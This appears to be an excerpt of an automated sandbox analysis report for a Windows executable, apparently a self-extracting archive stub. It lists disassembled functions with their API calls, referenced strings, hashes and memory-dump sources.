Instruction Fuzzy Hash: B7A01100F02882C2AA083B338C8A20A82283B88B00FC88020C00880220CE0C80AA0B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBDAB8 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 858070ee4c7a19a662da5472fdf2854117c285a8e3d5fc64c6be807d930a04b3
Instruction ID: d643be036d303c70321791cbef42344a1278ac475ab76ae5db824f73dd825e1d
Opcode Fuzzy Hash: 858070ee4c7a19a662da5472fdf2854117c285a8e3d5fc64c6be807d930a04b3
Instruction Fuzzy Hash: B2011E85E0DAC3C6F9787A7255402F9D6509F4CBE0FDC4231D91D862DADD2CEC418239

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF75FBB0310 Relevance: 49.2, APIs: 25, Strings: 3, Instructions: 247windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB913C0: GetDlgItem.USER32 ref: 00007FF75FB91410
Part of subcall function 00007FF75FB913C0: SetDlgItemTextW.USER32 ref: 00007FF75FB9142C

SendDlgItemMessageW.USER32 ref: 00007FF75FBB03C6
EndDialog.USER32 ref: 00007FF75FBB03E0

Strings

REPLACEFILEDLG, xrefs: 00007FF75FBB033D
%s %s, xrefs: 00007FF75FBB05CC, 00007FF75FBB0709
%s %s %s, xrefs: 00007FF75FBB0545, 00007FF75FBB069A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$DialogMessageSendText
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 910434759-1840816070
Opcode ID: c3c3ed74e938baa14d5c2cf217ad25db750c0378dc98c5fe9ae4ac5dc393dbfb
Instruction ID: 3ca374d41b474e18928f1647fcfc0c5fab8272d1ca2e92e944fe5dc81c415506
Opcode Fuzzy Hash: c3c3ed74e938baa14d5c2cf217ad25db750c0378dc98c5fe9ae4ac5dc393dbfb
Instruction Fuzzy Hash: CDC14E62A09AC2D6EB24EF21E4547EEB365FB88784F884135DA4D07B98DF3CD605C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB97B08 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 302fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF75FB97C12
CreateFileW.KERNEL32 ref: 00007FF75FB97CDF

Part of subcall function 00007FF75FB98818: GetCurrentProcess.KERNEL32 ref: 00007FF75FB9882C
Part of subcall function 00007FF75FB98818: GetLastError.KERNEL32 ref: 00007FF75FB9888D
Part of subcall function 00007FF75FB98818: CloseHandle.KERNEL32 ref: 00007FF75FB988A0

Part of subcall function 00007FF75FB9B34C: DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,00007FF75FB9A5D6), ref: 00007FF75FB9B362
Part of subcall function 00007FF75FB9B34C: DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00007FF75FB9A5D6), ref: 00007FF75FB9B38D

Strings

SeRestorePrivilege, xrefs: 00007FF75FB97B45
\??\, xrefs: 00007FF75FB97BAC
UNC\, xrefs: 00007FF75FB97BE2
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF75FB97B51

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File$Delete$CloseCreateCurrentErrorHandleLastProcesswcscpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 344333846-3508440684
Opcode ID: 9373064844497a59616c83af1e79c41c248783c4f2bfcb2cee9c9992ae998866
Instruction ID: 94b44bc1f576edcd6b82c9b598e96c13f097ac1fd28715aeb9bf5da3c286048a
Opcode Fuzzy Hash: 9373064844497a59616c83af1e79c41c248783c4f2bfcb2cee9c9992ae998866
Instruction Fuzzy Hash: 33D1B021A186C7C6EB20FB30DA516FEA7A4FF41784F984131EA5E47696DE3CE605C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE32C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101memorywindowCOMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32 ref: 00007FF75FBAE345
SizeofResource.KERNEL32 ref: 00007FF75FBAE361
LoadResource.KERNEL32 ref: 00007FF75FBAE37B
LockResource.KERNEL32 ref: 00007FF75FBAE38D
GlobalAlloc.KERNEL32 ref: 00007FF75FBAE3AE
GlobalLock.KERNEL32 ref: 00007FF75FBAE3C3
GdipAlloc.GDIPLUS ref: 00007FF75FBAE406
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF75FBAE471
GlobalUnlock.KERNEL32 ref: 00007FF75FBAE494
GlobalFree.KERNEL32 ref: 00007FF75FBAE49D

Strings

PNG, xrefs: 00007FF75FBAE337

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: c62717658c49ab0d377c9b75c93c06e0e9c0f3e91180a37dbb4cee33c3ad5a88
Instruction ID: da5737e8145c965c4cf9f569c45daba403807b167a13b4ef8f3a95f69e3ef388
Opcode Fuzzy Hash: c62717658c49ab0d377c9b75c93c06e0e9c0f3e91180a37dbb4cee33c3ad5a88
Instruction Fuzzy Hash: AD410B21A1AB87C2EA05AF26A4543BAE3A5EF88B94F8C4435CD4D47364DF7DE8458360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB41FC Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF75FBB4218
RtlCaptureContext.KERNEL32 ref: 00007FF75FBB4245
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF75FBB425F
RtlVirtualUnwind.KERNEL32 ref: 00007FF75FBB42A0
IsDebuggerPresent.KERNEL32 ref: 00007FF75FBB42F4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF75FBB4315
UnhandledExceptionFilter.KERNEL32 ref: 00007FF75FBB4320

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f76cef65e92a4e7a623e1119a2a3228cb782f8c1d95428c2b9bf8a41d6f41bc7
Instruction ID: 42cd1845bf4be677548e0ce92d53ce2543d04139f052f0bb8f97ff06f18f183f
Opcode Fuzzy Hash: f76cef65e92a4e7a623e1119a2a3228cb782f8c1d95428c2b9bf8a41d6f41bc7
Instruction Fuzzy Hash: 2B311072A09BC1CAEB60AF74E8503EA7364FB84744F884439DA4D47694DF3CD548C724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBDB3C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF75FBBDBB5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF75FBBDBCD
RtlVirtualUnwind.KERNEL32 ref: 00007FF75FBBDC08
IsDebuggerPresent.KERNEL32 ref: 00007FF75FBBDC41
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF75FBBDC4B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF75FBBDC56

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 999f5204d7d27e20891f748af150e6bb6311fb86a7a1ffe72f59afb7fad68174
Instruction ID: 46de3f091e99632af1e9bce929c4b08f8ee1cc37e59ac03d23bf7704fac2ee86
Opcode Fuzzy Hash: 999f5204d7d27e20891f748af150e6bb6311fb86a7a1ffe72f59afb7fad68174
Instruction Fuzzy Hash: FD315D36A08BC1C6DB609F35E8442EAB3A4FB88754F980136EA9D43B58DF3CD545CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC0664 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBC0694

Part of subcall function 00007FF75FBBDD68: GetCurrentProcess.KERNEL32(00007FF75FBC189D), ref: 00007FF75FBBDD95

Strings

*?, xrefs: 00007FF75FBC06BB
., xrefs: 00007FF75FBC0AB4

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 1209616fce3ea76e13f64f75d1279e60e03e8112c51f4f4e7f73f43a46040227
Instruction ID: 3d69c5f0512364223190bcb9e653d90bc54a99769f72870d0435e1bf9e5f42b3
Opcode Fuzzy Hash: 1209616fce3ea76e13f64f75d1279e60e03e8112c51f4f4e7f73f43a46040227
Instruction Fuzzy Hash: C751D362B147D6C1EB14EFB298000EEB3A4BB48BD8B884132DE5D57B85DE3CD4418B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAEC5C Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF75FBAEC9A
GetNumberFormatW.KERNEL32 ref: 00007FF75FBAECF6

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 15cfc4a8696289d79a07c41cbab0834ad782be6fab6ac0d2d69f2fd5f6ce1e5c
Instruction ID: 8c065a685de800becf02be0edc04ee6c650b781a5520e5f2faaf12d8c0b49cfc
Opcode Fuzzy Hash: 15cfc4a8696289d79a07c41cbab0834ad782be6fab6ac0d2d69f2fd5f6ce1e5c
Instruction Fuzzy Hash: CD115B76A19B81C6E350EF21E8006D9B3A4FB88B84FC88136DA8C43724DF3CE946C755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB976CC Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF75FB978F8), ref: 00007FF75FB976DC
FormatMessageW.KERNEL32 ref: 00007FF75FB97705

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 55ff6a5b7a520442b1c29396c5a37b0e5e1f4287dbbfeb61271c2574be488b40
Instruction ID: 083345059f3b369cf4a5d43fce21e89e2d859752ac45bc8e636059019264a028
Opcode Fuzzy Hash: 55ff6a5b7a520442b1c29396c5a37b0e5e1f4287dbbfeb61271c2574be488b40
Instruction Fuzzy Hash: 38E0E572B18682C2E7109F32B44036BE294BF55BC4F58C134DA4943A94CF3CC4118710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAD0B8 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF75FBAD119
wcscat.LIBCMT ref: 00007FF75FBAD128
wcscat.LIBCMT ref: 00007FF75FBAD137
wcscat.LIBCMT ref: 00007FF75FBAD178
wcscat.LIBCMT ref: 00007FF75FBAD18B
GlobalAlloc.KERNEL32 ref: 00007FF75FBAD1BF
WideCharToMultiByte.KERNEL32 ref: 00007FF75FBAD1F7

Strings

utf-8"></head>, xrefs: 00007FF75FBAD12D
<html>, xrefs: 00007FF75FBAD10F, 00007FF75FBAD157
, xrefs: 00007FF75FBAD13C
</html>, xrefs: 00007FF75FBAD181
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00007FF75FBAD11E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: wcscat$AllocByteCharGlobalMultiWidewcscpy
String ID: $</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 2461171529-1507786326
Opcode ID: 519e2b0d67bc7cbee871fe28f46aaea295df2e0b644bca33ec10204b6f91ccc5
Instruction ID: 31395ac21418d715d0d35c87473f7ed6f9ead45bbc9a1cb7852119fc1809d918
Opcode Fuzzy Hash: 519e2b0d67bc7cbee871fe28f46aaea295df2e0b644bca33ec10204b6f91ccc5
Instruction Fuzzy Hash: 81415C61A09B82C1EB15FB36D5543FAA765AB88BC0F884131DE4E077A9DF3CE405C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBF0C0 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBBF23D

Strings

NAN(SNAN), xrefs: 00007FF75FBBF155
inf, xrefs: 00007FF75FBBF146
nan, xrefs: 00007FF75FBBF128
INF, xrefs: 00007FF75FBBF133
NAN, xrefs: 00007FF75FBBF121
NAN(IND), xrefs: 00007FF75FBBF16B
nan(snan), xrefs: 00007FF75FBBF160
nan(ind), xrefs: 00007FF75FBBF176

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: d0f6e0e755be6f81d642f5a4928110be519ccee4392f6ac5a24fef1ade4e8050
Instruction ID: b061dbbcbda168db849d58ac0d7f53cf08994758f2c7d629b4bab70c8f833523
Opcode Fuzzy Hash: d0f6e0e755be6f81d642f5a4928110be519ccee4392f6ac5a24fef1ade4e8050
Instruction Fuzzy Hash: 2A41BB72A09B85C9E700EF75E8417EE73A4EB18798F884136EE8C07B94DE3CD4258354

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAF440 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF75FBAF45E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$Text
String ID: LICENSEDLG
API String ID: 1601838975-2177901306
Opcode ID: e0e813d694038819732ec324e5558a444dad7dee1083978382a202e348cc525b
Instruction ID: e0bd36761f4e49af6fd39c3671e0b8bb8720279219ac1b62da544898000242d3
Opcode Fuzzy Hash: e0e813d694038819732ec324e5558a444dad7dee1083978382a202e348cc525b
Instruction Fuzzy Hash: AF417D65A09692C2FB58BB22E8543F8A3A5AF89FC4F8C4035DD4D07B95CF3CE5428324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB1B0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF75FBB1B46
GetClassNameW.USER32 ref: 00007FF75FBB1B73
GetWindowLongPtrW.USER32 ref: 00007FF75FBB1B94
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1BAE
GetObjectW.GDI32 ref: 00007FF75FBB1BC9
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1BFE
DeleteObject.GDI32 ref: 00007FF75FBB1C07
GetWindow.USER32 ref: 00007FF75FBB1C15

Strings

STATIC, xrefs: 00007FF75FBB1B79

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Window$ButtonCheckedObject$ClassDeleteLongName
String ID: STATIC
API String ID: 781704138-1882779555
Opcode ID: dc86dc3c53170f4d5698ad76ced0c7edefbbafb42d4d4dd989580a58c0d7cc96
Instruction ID: 887d1c9fd0e027d15a15687b5832d57ddd6a52a46979c24a4911144b7b3b20c4
Opcode Fuzzy Hash: dc86dc3c53170f4d5698ad76ced0c7edefbbafb42d4d4dd989580a58c0d7cc96
Instruction Fuzzy Hash: C2319265B0978287EB10BB22A5586FDE395EB89BC0F984030DD8D47B55DE3DE8428760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB1C4C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF75FBB1E0F
GetExitCodeProcess.KERNEL32 ref: 00007FF75FBB1E49
CloseHandle.KERNEL32(00000000,00000000,?,00007FF75FBB1720,00000000,?,00000000,00000000,?,00000001,?,?,00007FF75FBB00C8), ref: 00007FF75FBB1E77
ShowWindow.USER32 ref: 00007FF75FBB1ED0

Strings

p, xrefs: 00007FF75FBB1CB5
.inf, xrefs: 00007FF75FBB1D7D
.exe, xrefs: 00007FF75FBB1E82
Install, xrefs: 00007FF75FBB1D8E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

